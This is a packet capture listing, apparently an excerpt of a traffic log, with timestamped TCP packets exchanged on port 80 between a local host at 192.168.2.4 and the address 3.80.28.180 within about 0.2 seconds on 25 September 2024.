Sep 25, 2024 03:51:33.019315004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019320011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.019335032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019346952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019351959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.019360065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019362926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.019372940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019391060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019397020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.019408941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019421101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.019423008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019437075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019450903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019453049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.019464016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019474030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.019478083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019490004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019503117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019505024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.019515991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019527912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.019530058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019555092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.020052910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.020106077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.020112038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.020123959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.020173073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.020189047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.020200968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.020212889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.020226002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.020240068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.020262957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.020272970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.061709881 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.106319904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106333971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106348038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106389046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.106429100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106441021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106452942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106467009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106487036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.106509924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.106544018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106587887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.106673956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106684923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106695890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106725931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.106755972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106769085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106796980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.106842995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106856108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106884956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.106920958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106934071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106945992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.106966019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.106990099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.107038975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107050896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107091904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.107132912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107144117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107156992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107182026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.107320070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107331038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107342958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107357025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107371092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107379913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.107388973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107405901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.107409954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107434034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.107445002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.107588053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107599974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107611895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107624054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107635975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107654095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.107671022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.107743025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107754946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107765913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107775927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107789993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107800961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107809067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.107812881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.107831001 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.107856989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108098984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108109951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108120918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108133078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108144999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108163118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108166933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108175993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108189106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108191967 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108201981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108213902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108217955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108227968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108242035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108247995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108268976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108282089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108464956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108478069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108491898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108501911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108516932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108586073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108618975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108632088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108647108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108658075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108669996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108674049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108683109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108691931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108694077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108721018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108721972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108735085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108747005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108763933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108764887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108781099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108791113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108793974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108808041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108823061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.108824968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.108849049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.109397888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109410048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109422922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109433889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109446049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109447002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.109458923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109458923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.109472036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109486103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109497070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109498978 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.109510899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109522104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.109525919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109532118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.109539032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109551907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109563112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.109565020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109579086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109591007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109603882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109610081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.109615088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109623909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.109630108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109643936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.109647036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.109667063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.110014915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110027075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110038042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110052109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110064983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110074997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.110078096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110090017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110109091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.110122919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.110202074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110214949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110224962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110236883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110248089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110259056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110268116 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.110271931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110285044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110295057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.110299110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110311985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110323906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.110325098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110337973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110352039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110363007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110373974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.110374928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110388994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.110408068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.110408068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.110434055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.111104965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.111148119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.111160994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.111198902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.111237049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.111248970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.111262083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.111274004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.111296892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.111314058 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.197488070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.197501898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.197520971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.197613001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.197624922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.197638988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.197653055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.197670937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.197670937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.197762966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.197814941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.197860956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.197870970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.197884083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.197933912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.197999954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198014021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198025942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198039055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198054075 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.198080063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198093891 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.198159933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198173046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198210955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.198298931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198312044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198323965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198335886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198348999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.198348999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198363066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.198391914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.198450089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198462963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198482037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198493004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198503971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198507071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.198518991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198525906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.198558092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.198736906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198749065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198762894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198776007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198788881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198791027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.198817015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.198885918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198899031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198910952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.198925972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.198950052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199024916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199038029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199048042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199062109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199073076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199084044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199088097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199095964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199100971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199109077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199119091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199126959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199135065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199150085 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199188948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199374914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199410915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199424028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199435949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199464083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199486971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199564934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199578047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199590921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199601889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199615955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199645996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199733019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199747086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199758053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199769020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199779987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199784994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199790955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199803114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199806929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199817896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199830055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199831009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199843884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199856997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199856997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199870110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199882030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199888945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199893951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199903965 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199908018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199923992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.199933052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.199968100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.200521946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200532913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200546026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200556993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200568914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200576067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.200582027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200594902 CEST	80	49730	3.80.28.180	192.168.2.4
